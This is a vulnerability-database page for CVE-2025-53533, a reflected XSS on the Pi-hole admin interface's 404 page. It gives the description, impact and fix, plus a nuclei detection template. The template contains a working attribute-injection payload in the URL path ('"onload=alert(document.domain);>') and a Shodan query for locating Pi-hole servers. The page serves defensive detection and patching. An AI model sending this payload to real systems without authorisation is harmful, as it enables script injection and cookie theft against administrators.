HexBrain

Browse / CVEs / CVE-2025-53533

CVE-2025-53533· pi-hole / web interface· CWE-79

Pi-hole Reflected XSS in 404-Error Page

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it

Pi-hole Admin Interface <= 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the `class` attribute of the `body` tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers.

Impact

Attackers can execute arbitrary JavaScript in victim browsers, potentially stealing cookies or performing actions on behalf of the user.

Fix

Update to Pi-hole web interface version 6.3 or later.

How to confirm it

Send: GET {{BaseURL}}/"onload=alert(document.domain);>
Positive when: contains "\"onload=alert(document.domain);>\">" AND contains "pi-hole" AND status 404

Run it with nuclei: nuclei -id CVE-2025-53533 -u <target>

The full check
id: CVE-2025-53533

info:
  name: Pi-hole Reflected XSS in 404-Error Page
  author: DhiyaneshDk
  severity: medium
  description: |
    Pi-hole Admin Interface <= 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the `class` attribute of the `body` tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers, potentially stealing cookies or performing actions on behalf of the user.
  remediation: Update to Pi-hole web interface version 6.3 or later.
  reference:
    - https://github.com/pi-hole/web/security/advisories/GHSA-w8f8-92rx-4f6w
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53533
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-53533
    cwe-id: CWE-79
    epss-score: 0.00591
    epss-percentile: 0.4858
  metadata:
    verified: true
    max-request: 1
    vendor: pi-hole
    product: web_interface
    shodan-query: title:"Pi-hole"
  tags: cve,cve2025,pihole,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/"onload=alert(document.domain);>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"onload=alert(document.domain);>">'

      - type: word
        part: body
        words:
          - "pi-hole"

      - type: status
        status:
          - 404

References

Use this check only on systems you are authorised to test. Where the data comes from